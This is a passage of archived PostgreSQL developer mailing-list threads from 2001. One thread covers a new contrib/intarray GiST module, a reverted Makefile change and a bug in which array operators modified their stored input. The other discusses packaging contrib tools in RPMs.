"msg_contents": "Seems we have an older version in CVS. I will update it now. I assume\n/contrib is available for changes up until release, as usual.\n\n> Mark,\n> \n> we prepared new version of contrib-intarray -\n> index support for 1-D integer arrays using GiST.\n> \n> Changes:\n> \n> \n> - Improved regression test\n> - Current implementation provides index support for one-dimensional\n> array of int4's - gist__int_ops, suitable for small and medium size\n> of arrays, and gist__intbig_ops for indexing large arrays\n> (we use superimposed signature with length of 4096 bits to represent sets,\n> see Sven Helmer,1997).\n> \n> Archive is available from\n> http://www.sai.msu.su/~megera/postgres/gist/code/7.1/contrib-intarray.tar.gz\n> \n> \tRegards,\n> \t\tOleg\n> _____________________________________________________________\n> Oleg Bartunov, sci.researcher, hostmaster of AstroNet,\n> Sternberg Astronomical Institute, Moscow University (Russia)\n> Internet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\n> phone: +007(095)939-16-83, +007(095)939-23-83\n> \n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sat, 17 Mar 2001 16:24:50 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray"
},
{
"msg_contents": "Installed in CVS. Thanks.\n\n> Mark,\n> \n> we prepared new version of contrib-intarray -\n> index support for 1-D integer arrays using GiST.\n> \n> Changes:\n> \n> \n> - Improved regression test\n> - Current implementation provides index support for one-dimensional\n> array of int4's - gist__int_ops, suitable for small and medium size\n> of arrays, and gist__intbig_ops for indexing large arrays\n> (we use superimposed signature with length of 4096 bits to represent sets,\n> see Sven Helmer,1997).\n> \n> Archive is available from\n> http://www.sai.msu.su/~megera/postgres/gist/code/7.1/contrib-intarray.tar.gz\n> \n> \tRegards,\n> \t\tOleg\n> _____________________________________________________________\n> Oleg Bartunov, sci.researcher, hostmaster of AstroNet,\n> Sternberg Astronomical Institute, Moscow University (Russia)\n> Internet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\n> phone: +007(095)939-16-83, +007(095)939-23-83\n> \n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Sat, 17 Mar 2001 16:59:52 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray"
},
{
"msg_contents": "Bruce Momjian writes:\n\n> Installed in CVS. Thanks.\n\nYou overwrote the changes that other people have made meanwhile.\n\n>\n> > Mark,\n> >\n> > we prepared new version of contrib-intarray -\n> > index support for 1-D integer arrays using GiST.\n> >\n> > Changes:\n> >\n> >\n> > - Improved regression test\n> > - Current implementation provides index support for one-dimensional\n> > array of int4's - gist__int_ops, suitable for small and medium size\n> > of arrays, and gist__intbig_ops for indexing large arrays\n> > (we use superimposed signature with length of 4096 bits to represent sets,\n> > see Sven Helmer,1997).\n> >\n> > Archive is available from\n> > http://www.sai.msu.su/~megera/postgres/gist/code/7.1/contrib-intarray.tar.gz\n> >\n> > \tRegards,\n> > \t\tOleg\n> > _____________________________________________________________\n> > Oleg Bartunov, sci.researcher, hostmaster of AstroNet,\n> > Sternberg Astronomical Institute, Moscow University (Russia)\n> > Internet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\n> > phone: +007(095)939-16-83, +007(095)939-23-83\n> >\n> >\n>\n>\n>\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sun, 18 Mar 2001 00:40:24 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray"
},
{
"msg_contents": "I checked README.intarray to see what the most recent date was, and it\nwas Jan 10, so I knew that this version was newer. I then did a diff -c\nagainst the current CVS and I didn't see anything unusual in the\nchanges.\n\nAttached is the CVS diff command line showing me all the changes made:\n\n cvs diff -c -D '2001-01-13 00:00:00' -D'2001-03-16 00:00:00' .\n\nI see change of += in CFLAGS (harmless), movement of #include\n<postgres.h>, and removal of // comments, which don't appear anymore in\nthe code.\n\nDo you see anything else? This one was easy to track because it was\ninstalled only recently, but other /contrib stuff is much tougher\nbecause you never know what the original install date was.\n\nI usually only look at Makefile changes in /contrib because that is\nwhere most of the customization is, and I don't see any changes made to\nMakefile by the patch. It doesn't even touch the CFLAGS += change.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n\n? Makefile.703\nIndex: Makefile\n===================================================================\nRCS file: /home/projects/pgsql/cvsroot/pgsql/contrib/intarray/Makefile,v\nretrieving revision 1.2\nretrieving revision 1.3\ndiff -c -r1.2 -r1.3\n*** Makefile\t2001/01/13 02:18:31\t1.2\n--- Makefile\t2001/02/20 19:20:27\t1.3\n***************\n*** 1,4 ****\n! # $Header: /home/projects/pgsql/cvsroot/pgsql/contrib/intarray/Makefile,v 1.2 2001/01/13 02:18:31 petere Exp $\n \n subdir = contrib/intarray\n top_builddir = ../..\n--- 1,4 ----\n! # $Header: /home/projects/pgsql/cvsroot/pgsql/contrib/intarray/Makefile,v 1.3 2001/02/20 19:20:27 petere Exp $\n \n subdir = contrib/intarray\n top_builddir = ../..\n***************\n*** 12,18 ****\n SO_MAJOR_VERSION= 1\n SO_MINOR_VERSION= 0\n \n! override CPPFLAGS += -I$(srcdir) -DPGSQL71\n \n OBJS= _int.o\n \n--- 12,18 ----\n SO_MAJOR_VERSION= 1\n SO_MINOR_VERSION= 0\n \n! override CPPFLAGS := -I$(srcdir) $(CPPFLAGS) -DPGSQL71\n \n OBJS= _int.o\n \nIndex: _int.c\n===================================================================\nRCS file: /home/projects/pgsql/cvsroot/pgsql/contrib/intarray/_int.c,v\nretrieving revision 1.1\nretrieving revision 1.3\ndiff -c -r1.1 -r1.3\n*** _int.c\t2001/01/12 00:16:23\t1.1\n--- _int.c\t2001/02/12 18:30:52\t1.3\n***************\n*** 4,14 ****\n format for these routines is dictated by Postgres architecture.\n ******************************************************************************/\n \n! #include <stdio.h>\n #include <float.h>\n #include <string.h>\n \n- #include \"postgres.h\"\n #include \"access/gist.h\"\n #include \"access/itup.h\"\n #include \"access/rtree.h\"\n--- 4,14 ----\n format for these routines is dictated by Postgres architecture.\n ******************************************************************************/\n \n! #include \"postgres.h\"\n! \n #include <float.h>\n #include <string.h>\n \n #include \"access/gist.h\"\n #include \"access/itup.h\"\n #include \"access/rtree.h\"\n***************\n*** 194,200 ****\n \n #ifdef GIST_DEBUG\n elog(NOTICE, \"COMP IN: %d leaf; %d rel; %d page; %d offset; %d bytes; %d elems\", entry->leafkey, (int)entry->rel, (int)entry->page, (int)entry->offset, (int)entry->bytes, len);\n! //printarr( r, len );\n #endif\n \n if ( len >= 2*MAXNUMRANGE ) { /*compress*/\n--- 194,200 ----\n \n #ifdef GIST_DEBUG\n elog(NOTICE, \"COMP IN: %d leaf; %d rel; %d page; %d offset; %d bytes; %d elems\", entry->leafkey, (int)entry->rel, (int)entry->page, (int)entry->offset, (int)entry->bytes, len);\n! /* printarr( r, len ); */\n #endif\n \n if ( len >= 2*MAXNUMRANGE ) { /*compress*/\n***************\n*** 260,266 ****\n \n #ifdef GIST_DEBUG\n elog(NOTICE, \"DECOMP IN: %d leaf; %d rel; %d page; %d offset; %d bytes; %d elems\", entry->leafkey, (int)entry->rel, (int)entry->page, (int)entry->offset, (int)entry->bytes, lenin);\n! //printarr( in, lenin );\n #endif\n \n lenr = internal_size(din, lenin);\n--- 260,266 ----\n \n #ifdef GIST_DEBUG\n elog(NOTICE, \"DECOMP IN: %d leaf; %d rel; %d page; %d offset; %d bytes; %d elems\", entry->leafkey, (int)entry->rel, (int)entry->page, (int)entry->offset, (int)entry->bytes, lenin);\n! /* printarr( in, lenin ); */\n #endif\n \n lenr = internal_size(din, lenin);\n***************\n*** 653,659 ****\n \tint i,j;\n \n #ifdef GIST_DEBUG\n! //elog(NOTICE, \"inner_union %d %d\", ARRISNULL( a ) , ARRISNULL( b ) );\n #endif\n \n \tif ( ARRISNULL( a ) && ARRISNULL( b ) ) return new_intArrayType(0);\n--- 653,659 ----\n \tint i,j;\n \n #ifdef GIST_DEBUG\n! /* elog(NOTICE, \"inner_union %d %d\", ARRISNULL( a ) , ARRISNULL( b ) ); */\n #endif\n \n \tif ( ARRISNULL( a ) && ARRISNULL( b ) ) return new_intArrayType(0);\n***************\n*** 709,715 ****\n \tint i,j;\n \n #ifdef GIST_DEBUG\n! //elog(NOTICE, \"inner_inter %d %d\", ARRISNULL( a ), ARRISNULL( b ) );\n #endif\n \n \tif ( ARRISNULL( a ) || ARRISNULL( b ) ) return NULL;\n--- 709,715 ----\n \tint i,j;\n \n #ifdef GIST_DEBUG\n! /* elog(NOTICE, \"inner_inter %d %d\", ARRISNULL( a ), ARRISNULL( b ) ); */\n #endif\n \n \tif ( ARRISNULL( a ) || ARRISNULL( b ) ) return NULL;",
"msg_date": "Sat, 17 Mar 2001 19:59:51 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray"
},
{
"msg_contents": "Bruce Momjian writes:\n\n> I see change of += in CFLAGS (harmless),\n\nNot.\n\n> movement of #include\n> <postgres.h>, and removal of // comments, which don't appear anymore in\n> the code.\n\nI only saw that the Makefile is back to how it looked at rev 1.1 before I\ndid some work on it. AFAICT the Makefile should be reverted back to the\nprevious revision, since the code change does not require any changes to\nthe Makefile.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Sun, 18 Mar 2001 20:27:24 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray"
},
{
"msg_contents": "Peter Eisentraut <peter_e@gmx.net> writes:\n> I only saw that the Makefile is back to how it looked at rev 1.1 before I\n> did some work on it. AFAICT the Makefile should be reverted back to the\n> previous revision, since the code change does not require any changes to\n> the Makefile.\n\nI did this, also reinstalled the include-file changes I had made, and\nthen spent several fruitless hours trying to find why the \"intbig\" index\noperators fail selftest here (on HP-PA). I suppose it's a portability\nproblem, since presumably they pass for Oleg ... but I don't see it.\n\nWho else finds that the new contrib/intarray code passes or fails its\nselftest, and on what platforms?\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sun, 18 Mar 2001 18:45:52 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray "
},
{
"msg_contents": "I wrote:\n> I did this, also reinstalled the include-file changes I had made, and\n> then spent several fruitless hours trying to find why the \"intbig\" index\n> operators fail selftest here (on HP-PA). I suppose it's a portability\n> problem, since presumably they pass for Oleg ... but I don't see it.\n\nFurther experimentation shows that intbig fails selftest on ALL\nplatforms under 7.1. I see the problem: the intarray operators are\nmostly unprepared to cope with TOASTed input arrays. In particular,\n_intbig_union() generates an erroneous \"null\" result for a compressed\ninput array, leading to completely incorrect GiST index trees in the\nself-test example.\n\nA somewhat-related error in this code is that some routines feel free\nto scribble on their input. This is tres uncool, because they may be\nscribbling on disk buffers. Example:\n\n\nregression=# create table foo(f1 int4[]);\nCREATE\nregression=# insert into foo values ('{10,1,2,1,4}');\nINSERT 150265 1\nregression=# select * from foo;\n f1 \n--------------\n {10,1,2,1,4}\n(1 row)\n\nregression=# select * from foo where f1 && '{4}';\n f1 \n--------------\n {1,1,2,4,10}\n(1 row)\n\nregression=# select * from foo;\n f1 \n--------------\n {1,1,2,4,10}\n(1 row)\n\n\nAnd you thought SELECT was a read-only operation ...\n\nI do not have time to work on this stuff now, but as it stands the\ncontrib/intarray code is unusable in 7.1. Unless Oleg can find the\ntime to fix these issues before release, I will recommend that we\nnot ship contrib/intarray in 7.1.\n\n\t\t\tregards, tom lane\n",
"msg_date": "Sun, 18 Mar 2001 20:23:04 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray "
},
{
"msg_contents": "I just returned from vacation and identified the problem.\nWe'll fix it.\n\n\tRegards,\n\t\tOleg\nOn Sun, 18 Mar 2001, Tom Lane wrote:\n\n> I wrote:\n> > I did this, also reinstalled the include-file changes I had made, and\n> > then spent several fruitless hours trying to find why the \"intbig\" index\n> > operators fail selftest here (on HP-PA). I suppose it's a portability\n> > problem, since presumably they pass for Oleg ... but I don't see it.\n>\n> Further experimentation shows that intbig fails selftest on ALL\n> platforms under 7.1. I see the problem: the intarray operators are\n> mostly unprepared to cope with TOASTed input arrays. In particular,\n> _intbig_union() generates an erroneous \"null\" result for a compressed\n> input array, leading to completely incorrect GiST index trees in the\n> self-test example.\n>\n> A somewhat-related error in this code is that some routines feel free\n> to scribble on their input. This is tres uncool, because they may be\n> scribbling on disk buffers. Example:\n>\n>\n> regression=# create table foo(f1 int4[]);\n> CREATE\n> regression=# insert into foo values ('{10,1,2,1,4}');\n> INSERT 150265 1\n> regression=# select * from foo;\n> f1\n> --------------\n> {10,1,2,1,4}\n> (1 row)\n>\n> regression=# select * from foo where f1 && '{4}';\n> f1\n> --------------\n> {1,1,2,4,10}\n> (1 row)\n>\n> regression=# select * from foo;\n> f1\n> --------------\n> {1,1,2,4,10}\n> (1 row)\n>\n>\n> And you thought SELECT was a read-only operation ...\n>\n> I do not have time to work on this stuff now, but as it stands the\n> contrib/intarray code is unusable in 7.1. Unless Oleg can find the\n> time to fix these issues before release, I will recommend that we\n> not ship contrib/intarray in 7.1.\n>\n> \t\t\tregards, tom lane\n>\n> ---------------------------(end of broadcast)---------------------------\n> TIP 5: Have you checked our extensive FAQ?\n>\n> http://www.postgresql.org/users-lounge/docs/faq.html\n>\n\n\tRegards,\n\t\tOleg\n_____________________________________________________________\nOleg Bartunov, sci.researcher, hostmaster of AstroNet,\nSternberg Astronomical Institute, Moscow University (Russia)\nInternet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\nphone: +007(095)939-16-83, +007(095)939-23-83\n\n",
"msg_date": "Mon, 19 Mar 2001 10:06:50 +0300 (GMT)",
"msg_from": "Oleg Bartunov <oleg@sai.msu.su>",
"msg_from_op": true,
"msg_subject": "Re: new version of contrib-intarray "
},
{
"msg_contents": "Hi,\n\nNew version of contrib-intarray is available from\nhttp://www.sai.msu.su/~megera/postgres/gist/code/7.1/contrib-intarray.tar.gz\n\n>From README.intarray:\n\nMarch 19, 2001\n 1. Added support for toastable keys\n 2. Improved split algorithm for intbig (selection speedup is about 30%)\n\n\tRegards,\n\t\tOleg\n\nOn Mon, 19 Mar 2001, Oleg Bartunov wrote:\n\n> I just returned from vacation and identified the problem.\n> We'll fix it.\n>\n> \tRegards,\n> \t\tOleg\n> On Sun, 18 Mar 2001, Tom Lane wrote:\n>\n> > I wrote:\n> > > I did this, also reinstalled the include-file changes I had made, and\n> > > then spent several fruitless hours trying to find why the \"intbig\" index\n> > > operators fail selftest here (on HP-PA). I suppose it's a portability\n> > > problem, since presumably they pass for Oleg ... but I don't see it.\n> >\n> > Further experimentation shows that intbig fails selftest on ALL\n> > platforms under 7.1. I see the problem: the intarray operators are\n> > mostly unprepared to cope with TOASTed input arrays. In particular,\n> > _intbig_union() generates an erroneous \"null\" result for a compressed\n> > input array, leading to completely incorrect GiST index trees in the\n> > self-test example.\n> >\n> > A somewhat-related error in this code is that some routines feel free\n> > to scribble on their input. This is tres uncool, because they may be\n> > scribbling on disk buffers. Example:\n> >\n> >\n> > regression=# create table foo(f1 int4[]);\n> > CREATE\n> > regression=# insert into foo values ('{10,1,2,1,4}');\n> > INSERT 150265 1\n> > regression=# select * from foo;\n> > f1\n> > --------------\n> > {10,1,2,1,4}\n> > (1 row)\n> >\n> > regression=# select * from foo where f1 && '{4}';\n> > f1\n> > --------------\n> > {1,1,2,4,10}\n> > (1 row)\n> >\n> > regression=# select * from foo;\n> > f1\n> > --------------\n> > {1,1,2,4,10}\n> > (1 row)\n> >\n> >\n> > And you thought SELECT was a read-only operation ...\n> >\n> > I do not have time to work on this stuff now, but as it stands the\n> > contrib/intarray code is unusable in 7.1. Unless Oleg can find the\n> > time to fix these issues before release, I will recommend that we\n> > not ship contrib/intarray in 7.1.\n> >\n> > \t\t\tregards, tom lane\n> >\n> > ---------------------------(end of broadcast)---------------------------\n> > TIP 5: Have you checked our extensive FAQ?\n> >\n> > http://www.postgresql.org/users-lounge/docs/faq.html\n> >\n>\n> \tRegards,\n> \t\tOleg\n> _____________________________________________________________\n> Oleg Bartunov, sci.researcher, hostmaster of AstroNet,\n> Sternberg Astronomical Institute, Moscow University (Russia)\n> Internet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\n> phone: +007(095)939-16-83, +007(095)939-23-83\n>\n>\n> ---------------------------(end of broadcast)---------------------------\n> TIP 5: Have you checked our extensive FAQ?\n>\n> http://www.postgresql.org/users-lounge/docs/faq.html\n>\n\n\tRegards,\n\t\tOleg\n_____________________________________________________________\nOleg Bartunov, sci.researcher, hostmaster of AstroNet,\nSternberg Astronomical Institute, Moscow University (Russia)\nInternet: oleg@sai.msu.su, http://www.sai.msu.su/~megera/\nphone: +007(095)939-16-83, +007(095)939-23-83\n\n\n\n",
"msg_date": "Mon, 19 Mar 2001 17:42:43 +0300 (GMT)",
"msg_from": "Oleg Bartunov <oleg@sai.msu.su>",
"msg_from_op": true,
"msg_subject": "New version of contrib-intarray is ready !"
},
{
"msg_contents": "Sorry, I have again messed up this Makefile, and I am glad Tom has put\nthings back.\n\nSeems I am no longer capable of understanding the affects of such\nchanges as this:\n\t\n\t! override CPPFLAGS := -I$(srcdir) $(CPPFLAGS) -DPGSQL71\n\t\n\t! override CPPFLAGS += -I$(srcdir) -DPGSQL71\n\nHaving $(srcdir) before $(CPPFLAGS) must be significant.\n\nI am going to make a proposal that we partition off certain areas to be\nhandled by certain people so I don't mess things up again. Look for my\nemail in a few minutes.\n\n\n\n Bruce Momjian writes:\n> \n> > I see change of += in CFLAGS (harmless),\n> \n> Not.\n> \n> > movement of #include\n> > <postgres.h>, and removal of // comments, which don't appear anymore in\n> > the code.\n> \n> I only saw that the Makefile is back to how it looked at rev 1.1 before I\n> did some work on it. AFAICT the Makefile should be reverted back to the\n> previous revision, since the code change does not require any changes to\n> the Makefile.\n> \n> -- \n> Peter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n> \n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 19 Mar 2001 11:14:22 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray"
},
{
"msg_contents": "Oleg Bartunov <oleg@sai.msu.su> writes:\n> New version of contrib-intarray is available from\n> http://www.sai.msu.su/~megera/postgres/gist/code/7.1/contrib-intarray.tar.gz\n\nGot it, will review it ASAP ...\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 19 Mar 2001 11:35:37 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: New version of contrib-intarray is ready ! "
},
{
"msg_contents": "> Bruce Momjian writes:\n> \n> > Seems I am no longer capable of understanding the affects of such\n> > changes as this:\n> >\n> > \t! override CPPFLAGS := -I$(srcdir) $(CPPFLAGS) -DPGSQL71\n> >\n> > \t! override CPPFLAGS += -I$(srcdir) -DPGSQL71\n> >\n> > Having $(srcdir) before $(CPPFLAGS) must be significant.\n> \n> The CVS log message says:\n> \n> : Make sure -L and -I's for our source tree are always before system include\n> : or library directories on the command line.\n> \n> That's all this does.\n\nMakes sense. See my new email about patches. I think I need to rely\nmore on you and others to help me evaluate these changes. We have much\nmore expertice in the group than I can hope to comprehend.\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 19 Mar 2001 11:35:49 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray"
},
{
"msg_contents": "Bruce Momjian writes:\n\n> Seems I am no longer capable of understanding the affects of such\n> changes as this:\n>\n> \t! override CPPFLAGS := -I$(srcdir) $(CPPFLAGS) -DPGSQL71\n>\n> \t! override CPPFLAGS += -I$(srcdir) -DPGSQL71\n>\n> Having $(srcdir) before $(CPPFLAGS) must be significant.\n\nThe CVS log message says:\n\n: Make sure -L and -I's for our source tree are always before system include\n: or library directories on the command line.\n\nThat's all this does.\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Mon, 19 Mar 2001 17:41:57 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: new version of contrib-intarray"
},
{
"msg_contents": "Oleg Bartunov <oleg@sai.msu.su> writes:\n> New version of contrib-intarray is available from\n> http://www.sai.msu.su/~megera/postgres/gist/code/7.1/contrib-intarray.tar.gz\n\nI have made some further changes (you weren't quite there on not\nscribbling on input datums, for example) and committed the updates.\nThanks!\n\n\t\t\tregards, tom lane\n",
"msg_date": "Mon, 19 Mar 2001 22:09:45 -0500",
"msg_from": "Tom Lane <tgl@sss.pgh.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: New version of contrib-intarray is ready ! "
},
{
"msg_contents": "Oleg, can you grab the CVS copy and use that for further patches? \nThanks.\n\n\n> Oleg Bartunov <oleg@sai.msu.su> writes:\n> > New version of contrib-intarray is available from\n> > http://www.sai.msu.su/~megera/postgres/gist/code/7.1/contrib-intarray.tar.gz\n> \n> I have made some further changes (you weren't quite there on not\n> scribbling on input datums, for example) and committed the updates.\n> Thanks!\n> \n> \t\t\tregards, tom lane\n> \n\n\n-- \n Bruce Momjian | http://candle.pha.pa.us\n pgman@candle.pha.pa.us | (610) 853-3000\n + If your life is a hard drive, | 830 Blythe Avenue\n + Christ can be your backup. | Drexel Hill, Pennsylvania 19026\n",
"msg_date": "Mon, 19 Mar 2001 23:15:49 -0500 (EST)",
"msg_from": "Bruce Momjian <pgman@candle.pha.pa.us>",
"msg_from_op": false,
"msg_subject": "Re: New version of contrib-intarray is ready !"
}
] |
[
{
"msg_contents": "It has been requested that I ship prebuilt contrib items in the 7.1\nRPMset. Currently, the source code of the whole contrib tree is being\nshipped in the main RPM as documentation, but only autoinc and refint\nare being prebuilt (as part of the -test subpackage).\n\nI have had three different types of request on this:\n1.)\tThe whole contrib tree prebuilt;\n2.)\tSelect parts of the contrib tree prebuilt (geospatial stuff for the\nmost part);\n3.)\tpg_dumplo.\n\nNow, I see a couple of different ways I can go about doing this -- I can\nbuild a large 'postgresql-contrib' RPM (which would also eliminate the\nsource of the contrib tree in the documentation -- possibly) containing\nthe _whole_ tree, prebuilt (possibly in /usr/lib/pgsql (or postgresql --\nI'm not at all settled on the subdir naming scheme) -- OR, I can build\nindividual RPMs for each contrib element.\n\nBut, in the instance of pg_dumplo -- can I get some ideas on it? Should\nit be shipped as a separate package, or in the -server subpackage, or?? \nI am open to suggestions.\n\nIf PORTS is a more appropriate list to post this, I will do that as\nwell.\n--\nLamar Owen\nWGCR Internet Radio\n1 Peter 4:11\n",
"msg_date": "Thu, 25 Jan 2001 13:25:35 -0500",
"msg_from": "Lamar Owen <lamar.owen@wgcr.org>",
"msg_from_op": true,
"msg_subject": "RPM: Contrib request."
},
{
"msg_contents": "Lamar Owen writes:\n\n> It has been requested that I ship prebuilt contrib items in the 7.1\n> RPMset. Currently, the source code of the whole contrib tree is being\n> shipped in the main RPM as documentation,\n\nIt doesn't work to build contrib items without a source tree available.\n(At least Makefile.global and Makefile.shlib are necessary.)\n\n> Now, I see a couple of different ways I can go about doing this -- I can\n> build a large 'postgresql-contrib' RPM (which would also eliminate the\n> source of the contrib tree in the documentation -- possibly) containing\n> the _whole_ tree, prebuilt (possibly in /usr/lib/pgsql (or postgresql --\n> I'm not at all settled on the subdir naming scheme) -- OR, I can build\n> individual RPMs for each contrib element.\n\nMaybe they could be grouped into a couple of packages.\n\n> But, in the instance of pg_dumplo -- can I get some ideas on it? Should\n> it be shipped as a separate package, or in the -server subpackage, or??\n\nIt shouldn't be packaged at all because it's not necessary. (pg_dump\ndumps large objects.)\n\n-- \nPeter Eisentraut peter_e@gmx.net http://yi.org/peter-e/\n\n",
"msg_date": "Thu, 25 Jan 2001 20:08:40 +0100 (CET)",
"msg_from": "Peter Eisentraut <peter_e@gmx.net>",
"msg_from_op": false,
"msg_subject": "Re: RPM: Contrib request."
},
{
"msg_contents": "Now that pg_dump & pg_restore can handle large objects, the only need\nfor pg_dumplo is for migrating large objects from prior versions. I\npersonally cannot see it being used on a day to day basis, but I'm\nlooking at it from a narrow perspective. If it is a separate package,\nit can easily be removed from a production system after data has been\nmigrated. On the other hand, you never know when someone may need to\nrestore large objects from a pre 7.1 backup. \n\nI think the cleanest way to provide the contrib programs is to build a\npostgresql-contrib with _everything_ in it. Those people who need a\nspecific binary will be able to get it from /usr/lib/pgsql (or wherever)\nand the distiction between core and contrib programs will not be fuzzy.\n\nLamar Owen wrote:\n> \n> It has been requested that I ship prebuilt contrib items in the 7.1\n> RPMset. Currently, the source code of the whole contrib tree is being\n> shipped in the main RPM as documentation, but only autoinc and refint\n> are being prebuilt (as part of the -test subpackage).\n> \n> I have had three different types of request on this:\n> 1.) The whole contrib tree prebuilt;\n> 2.) Select parts of the contrib tree prebuilt (geospatial stuff for the\n> most part);\n> 3.) pg_dumplo.\n> \n> Now, I see a couple of different ways I can go about doing this -- I can\n> build a large 'postgresql-contrib' RPM (which would also eliminate the\n> source of the contrib tree in the documentation -- possibly) containing\n> the _whole_ tree, prebuilt (possibly in /usr/lib/pgsql (or postgresql --\n> I'm not at all settled on the subdir naming scheme) -- OR, I can build\n> individual RPMs for each contrib element.\n> \n> But, in the instance of pg_dumplo -- can I get some ideas on it? Should\n> it be shipped as a separate package, or in the -server subpackage, or??\n> I am open to suggestions.\n> \n> If PORTS is a more appropriate list to post this, I will do that as\n> well.\n> --\n> Lamar Owen\n> WGCR Internet Radio\n> 1 Peter 4:11\n\n-- \n---------------------------------------------------\nRandy Hall Great Bridge, LLC\nSr. Knowledge Engineer 253 Monticello Avenue\nRed Hat Certified Engineer Norfolk, VA 23410\n",
"msg_date": "Thu, 25 Jan 2001 15:02:11 -0500",
"msg_from": "Randy Hall <rhall@greatbridge.com>",
"msg_from_op": false,
"msg_subject": "Re: RPM: Contrib request."
},
{
"msg_contents": "Randy Hall wrote:\n >I think the cleanest way to provide the contrib programs is to build a\n >postgresql-contrib with _everything_ in it. Those people who need a\n >specific binary will be able to get it from /usr/lib/pgsql (or wherever)\n >and the distiction between core and contrib programs will not be fuzzy.\n \nThis is what I do for the Debian release.\n\n-- \nOliver Elphick Oliver.Elphick@lfix.co.uk\nIsle of Wight http://www.lfix.co.uk/oliver\nPGP: 1024R/32B8FAA1: 97 EA 1D 47 72 3F 28 47 6B 7E 39 CC 56 E4 C1 47\nGPG: 1024D/3E1D0C1C: CA12 09E0 E8D5 8870 5839 932A 614D 4C34 3E1D 0C1C\n ========================================\n \"My little children, let us not love in word, neither \n in tongue; but in deed and in truth.\" \n I John 3:18 \n\n\n",
"msg_date": "Thu, 25 Jan 2001 22:47:03 +0000",
"msg_from": "\"Oliver Elphick\" <olly@lfix.co.uk>",
"msg_from_op": false,
"msg_subject": "Re: RPM: Contrib request. "
},
{
"msg_contents": "On Thu, 25 Jan 2001, Lamar Owen wrote:\n\n> But, in the instance of pg_dumplo -- can I get some ideas on it? Should\n> it be shipped as a separate package, or in the -server subpackage, or?? \n\n ..ignore it. Not needful for 7.1, but can be interesting for < 7.1 \n(old DB users can found it directly on source tree, ftp ..etc.)\n\n\t\t\t\tKarel\n\n\n\n",
"msg_date": "Fri, 26 Jan 2001 03:14:06 +0100 (CET)",
"msg_from": "Karel Zak <zakkr@zf.jcu.cz>",
"msg_from_op": false,
"msg_subject": "Re: RPM: Contrib request."
},
{
"msg_contents": "Oliver Elphick wrote:\n> \n> Randy Hall wrote:\n> >I think the cleanest way to provide the contrib programs is to build a\n> >postgresql-contrib with _everything_ in it. Those people who need a\n> >specific binary will be able to get it from /usr/lib/pgsql (or wherever)\n> >and the distiction between core and contrib programs will not be fuzzy.\n> \n> This is what I do for the Debian release.\n\nPrecedent set; precedent followed. I'll be hopefully packaging the\n_entire_ contrib tree :-) for beta 4, over the weekend.\n--\nLamar Owen\nWGCR Internet Radio\n1 Peter 4:11\n",
"msg_date": "Thu, 25 Jan 2001 21:33:21 -0500",
"msg_from": "Lamar Owen <lamar.owen@wgcr.org>",
"msg_from_op": true,
"msg_subject": "Re: RPM: Contrib request."
},
{
